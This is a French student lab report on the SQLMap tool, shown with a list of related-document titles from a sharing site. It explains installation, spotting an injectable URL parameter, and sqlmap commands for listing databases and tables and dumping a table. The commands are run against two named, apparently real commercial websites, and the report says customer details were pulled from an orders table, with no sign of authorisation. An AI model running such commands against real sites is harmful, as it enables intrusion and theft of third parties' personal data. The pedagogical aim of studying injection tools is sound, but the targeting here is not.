SQL MAP. Etude d un logiciel SQL Injection



Documents pareils
PySQLi. Framework d'injection de code SQL

Faculté des sciences de gestion et sciences économiques BASE DE DONNEES

La problématique de la Préservation des Bases de Données. Olivier ROUCHON CINES Groupe PIN Jeudi 7 Octobre

PostgreSQL. Formations. Calendrier... 14

PostgreSQL. Formations. SQL avancé Calendrier... 18

laposte.net) Ministère de l'éducation nationale Atelier sécurité Rabat RALL 2007

Le langage SQL Rappels

1. LA GESTION DES BASES DE DONNEES RELATIONNELLES

Introduction aux bases de données Cours 1 : Généralités sur les bases de données

Bases de données Cours 1 : Généralités sur les bases de données

PostgreSQL. Formations. Catalogue Calendrier... 8

SQL Express face à la concurrence

MySQL. (Administrateur) (Dernière édition) Programme de formation. France, Belgique, Suisse, Roumanie - Canada

Présentation du module Base de données spatio-temporelles

contact@nqicorp.com - Web :

1 Introduction et installation

POVERELLO KASONGO Lucien SIO 2, SISR SITUATION PROFESSIONNELLE OCS INVENTORY NG ET GLPI

Les bases de données Page 1 / 8

Lancez le setup, après une phase de décompression, la fenêtre d installation des prérequis apparaît, il faut les installer :

Plateforme académique de partage de documents - owncloud

Microsoft Hosted Exchange 2010 DOCUMENT D EXPLOITATION

Initiation aux bases de données (SGBD) Walter RUDAMETKIN

Introduction à. Oracle Application Express

Programme détaillé. Administrateur de Base de Données Oracle - SQLServer - MySQL. Objectifs de la formation. Les métiers

CESI Bases de données

Reporting Services - Administration

Installation de SharePoint Foundation 2013 sur Windows 2012

contact@nqicorp.com - Web :

Compte Rendu d intégration d application

avast! EP: Installer avast! Small Office Administration

Bases de données relationnelles : Introduction

Créer un rapport pour Reporting Services

INFORMATIQUE & WEB. PARCOURS CERTIFICAT PROFESSIONNEL Programmation de sites Web. 1 an 7 MODULES. Code du diplôme : CP09

Oracle Business Intelligence Enterprise Edition 11g (OBIEE) Installation

Déploiement d'une application Visual Studio Lightswitch dans Windows Azure.

Fournir un accès rapide à nos données : agréger au préalable nos données permet de faire nos requêtes beaucoup plus rapidement

RTE Technologies. RTE Geoloc. Configuration avec Proxy ou Firewall

EJBCA PKI Open Source

Architectures web/bases de données

Utiliser Access ou Excel pour gérer vos données

4. Utilisation d un SGBD : le langage SQL. 5. Normalisation

Mercredi 15 Janvier 2014

Mise à jour de version

THEME PROJET D ELABORATION D UNE BASE DE DONNEES SOUS LE SERVEUR MYSQL

Gestion du parc informatique matériel et logiciel de l Ensicaen. Rapport de projet. Spécialité Informatique 2 e année. SAKHI Taoufik SIFAOUI Mohammed

Logiciel de création de badges personnalisés.

La montée des bases de données open source

Création d'un site dynamique en PHP avec Dreamweaver et MySQL

Mise en route et support Envision 10 SQL server (Avril 2015) A l'intention de l'administrateur SQL Server et de l administrateur Envision

Module BD et sites WEB

SQL Server Installation Center et SQL Server Management Studio

PHP 4 PARTIE : BASE DE DONNEES

Pratique et administration des systèmes

Pourquoi. OptiMaint est... - Simple d'utilisation. - Rapide d'utilisation. - Facilement personnalisable. - Puissant

Bases de données Outils de gestion

Partager rapidement un fichier volumineux

Corrigé de l'atelier pratique du module 8 : Implémentation de la réplication

Bases de données cours 1

PRÉ-REQUIS ET INSTALLATION SERVEUR

FileMaker 13. Guide ODBC et JDBC

Sage 100 CRM Guide de l Import Plus avec Talend Version 8. Mise à jour : 2015 version 8

Service WEB, BDD MySQL, PHP et réplication Heartbeat. Conditions requises : Dans ce TP, il est nécessaire d'avoir une machine Debian sous ProxMox

L accès à distance du serveur

La Clé informatique. Formation Excel XP Aide-mémoire

Keyyo Guide de mise en service CTI / API / TAPI Keyyo

Initiation à Excel. Frédéric Gava (MCF)

INSTALLATION DE L APPLICATION DU CONTEXTE ITASTE

Le scan de vulnérabilité

Auguria_PCM Product & Combination Manager

Business Intelligence

Présentation de la solution Open Source «Vulture» Version 2.0

Raja Bases de données distribuées A Lire - Tutoriel

AVANT PROPOS. Merci d avoir choisi WATCHDOC!

Suite Messerli Gest (gestion de chantier) Prestations (imputations des heures) Procédure d'installation du programme ou d'une mise à jour

Thème : Gestion commerciale

Installation et Administration de SolidWorks Electrical CadWare Systems

GUIDE UTILISATEUR. Renouvellement d un certificat 3SKey

TD3 - Facturation avec archivage automatisé

Chapitre 5 : Les procédures stockées PL/SQL

Bases de Données. Stella MARC-ZWECKER. Maître de conférences Dpt. Informatique - UdS

EXCEL PERFECTIONNEMENT CALCULS AVANCES

FOIRE AUX QUESTIONS - WebDEPOT

Vous venez d acquérir un fichier de données issues de la Base de données SIRENE. Comment utiliser votre fichier?

1. La plate-forme LAMP

StreamServe Persuasion SP4

LANDPARK COMMENT ÉTABLIR RAPIDEMENT VOS RAPPORTS

Compte rendu d'activité PTI n 2

Sécurité des bases de données Nicolas Jombart Alain Thivillon

Préparer la synchronisation d'annuaires

1. Aménagements technologiques 2. Installation de Microsoft SQL Server 2012

Créer le schéma relationnel d une base de données ACCESS

PHP. PHP et bases de données

Les bases de données

Utilisation d Hyperplanning 2011

LANDPARK ACTIVE DIRECTORY OPEN/LDAP

A. À propos des annuaires

Transcription:

Introduction Ce TP a pour but d analyser un outil d injection SQL, comprendre les vulnérabilités d une BD et de mettre en œuvre une attaque par injection SQL. Prise en main du logiciel SQLMap est un outil permettant d effectuer des requêtes SQL de manières automatisées dans le but de trouver et d exploiter une mauvaise configuration sur votre serveur Web. Ce dernier a été développé en Python par Bernardo Damele et Miroslav Stampar sous licence GPLv2. Le choix de ce langage de programmation est intéressant car il permet à l outil d être utilisable sur n importe quel système d exploitation. Voici quelques caractéristiques de l outil : Support de MySQL, Oracle, PostgreSQL et Microsoft SQL Server. Outre ces quatre systèmes de gestion de base de données (SGBD), SqlMap permet également d identifier Microsoft Access, DB2, Informix, Sybase et Interbase. Support pour énumérer les utilisateurs, les mots de passe, les privilèges, les tables, les colonnes, etc. Prise en charge de plusieurs techniques d injection SQL : en aveugle, UNION, etc. Prise d empreinte de serveurs Web Intégration avec d autres projets tels que w3af et Metasploit Support des méthodes d authentification : HTTP Basic, NTLM et par certificat etc. Installation Prérequis : Sachant que cet outil a été développé en Phython, il faut donc installer python : - apt-get install python L outil SQLmap est gratuit et se télécharge sur http://sqlmap.org/. L outil est prêt à être utiliser. La procédure est également très simple sous Windows. L installation de SQLMap se fait à partir de deux exécutables indispensables : - Tout d abord, il est nécessaire de se diriger vers le site officiel de SQLMap qui propose le téléchargement du fichier «.zip». Afin de pouvoir l utiliser convenablement, il est nécessaire de compléter le téléchargement par l exécution de - Python 2.7 qui est téléchargeable sur le site officiel aussi. L étape suivante consiste à exécuter Python 2.7. Les manipulations ne sont pas complexes mais plutôt faciles à réaliser. Pour cela, il faut lancer Python 2.7 pour ensuite lui attribuer un fichier d exécutions. La suite est assez simple en cliquant uniquement sur suivant pour terminer l installation. Dès lors, il est nécessaire de s occuper du fichier «.zip» de SQLMap. Ainsi, il faut extraire les fichiers qui le constituent et le renommer pour plus de clarté par SQLMap. La suite consiste à copier ce 1

fichier extrait à l endroit où se trouve Python 2.7. Figure 1 : Copie du fichier SQLMap dans le fichier Python2.7 SQLMap est un outil fonctionnant en lignes de commandes. C est pourquoi, il est indispensable de lui créer un invite de commandes qui lui est dédié. Ainsi, il faut créer un nouveau raccourci en spécifiant «cmd» pour automatiquement créer cet invite de commande souhaité. 2

Figure 2 : Création d un raccourci pour l outil Sqlmap. Les propriétés qui lui sont attribuées par défaut ne conviennent pas et ne font pas appel à l outil en question. C est pourquoi, il est nécessaire de modifier les propriétés et de leur attribuer une nouveau chemin pour la cible qui correspondra au fichier SQLMap exécutable dans le fichier Python 2. 3

Figure 3 : Changement de la cible dans les propriétés de l invite de commandes L outil est maintenant installé et prêt à être utilisé : Figure 4 : Interface de lancement de SQLMap Recherche URL Vulnérable Il existe des sites web qui possèdent des URL semblable aux URLs ci-dessus : - http://www.flaner-en-provence.fr/catalogue/index.php?vartheme=30 - http://www.anor.fr/terrains/consult_fiche.php?id=70 Ce site est sujet à l'injection de code SQL, car le développeur de ce site n'a pas prise en compte les caractères nuisible. Ce peut être simplement testé en essayant d'ouvrir l'url comme indiqué ci-dessous : http://www.flaner-en-provence.fr/catalogue/index.php?vartheme=30 Nous venons d'ajouter une apostrophe dans le paramètre. Si cette URL renvoie une erreur ou réagit de manière inattendue alors il est clair que la base de données est vulnérable. Donc, dans ce cas, ce paramètre d'entrée "id" est vulnérable à l'injection SQL. 4

Utilisation de l outil Dès lors que le site cible (vulnérable) est trouvé, les commandes peuvent être exécutées. La syntaxe présentée ci-dessous est valable pour toutes les commandes. Il suffit ensuite uniquement de changer les options pour obtenir le résultat souhaité. - Sqlmap.py : commande pour faire appel à SQLMap mais aussi à Python - -u : options qui suit sqlmap.py pour indiquer qu une adresse URL doit être insérer ensuite - Adresse URL du site vulnérable. - Indiquer ensuite les options souhaitées. python sqlmap.py -u " http://www.flaner-en-provence.fr/catalogue/index.php?vartheme=30" Options utilisées : python : Car l outil est codé en python -u : adresse de la cible A la fin de l exécution nous obtenons le résultat suivant : L'outil sqlmap a découvert le système d'exploitation, serveur Web et base de données avec les informations de version. Il nous indique aussi les types d injection utilisé (Boolean-based blind, error-based, UNION query ). Une fois que l outil nous confirme que le site web est vulnérable, nous pouvons donc récupérer les noms des bases de données à l aide de la commande suivant (option -- dbs) : python sqlmap.py -u "http://www.flaner-en-provence.fr/catalogue/index.php?vartheme=30" --dbs 5

Nous obtenons donc le résultat suivant : Nous pouvons observer que l outil a pu repérer deux bases de données : flaner_base Information_schema Dans le même sens, pour trouver les BDs du deuxième site : Sqlmap.py u http://www.anor.fr/terrains/consult_fiche.php?id=70 --dbs --hex Qui donne le résultat suivant : Une fois que nous avons le nom de la base de donné nous pouvons afficher la liste de ses tables à l aide de la commande suivante (option -- tables pour demander les tables ; et -D nom_de_la_bd) python sqlmap.py -u "http://www.flaner-en-provence.fr/catalogue/index.php?vartheme=30" --tables -D flaner_base Nous obtenons donc le résultat suivant : 6

Nous pouvons observer que l outil nous à fournit une liste des tables disponible dans la BD. Nous pouvons maintenant afficher le contenue d un tableau a l aide de la commande suivante (option -- dump, bien sûr en précisant également le nom de la table (-T nom_de_la_table et de la BD) : python sqlmap.py -u "http://www.flaner-en-provence.fr/catalogue/index.php?vartheme=30" dump -D flaner_base -T commandes Nous obtenons le résultat suivant : Nous pouvons observer que l outil nous a su récupère les coordonné des clients. Le tableau suivant liste des options utilisées au cours du test de l outil : Options Leurs utilités -u Indique l url du site ciblé -dbs Pour lister les bases de données 7

-Tables Pour lister les tableaux d une base de données -D Indique le nom d une base de données -T Indique le nom de la table -dump Imprime le contenue d une table Les options utilisées sont détaillé dans le site suivant : https://github.com/sqlmapproject/sqlmap/wiki/usage 8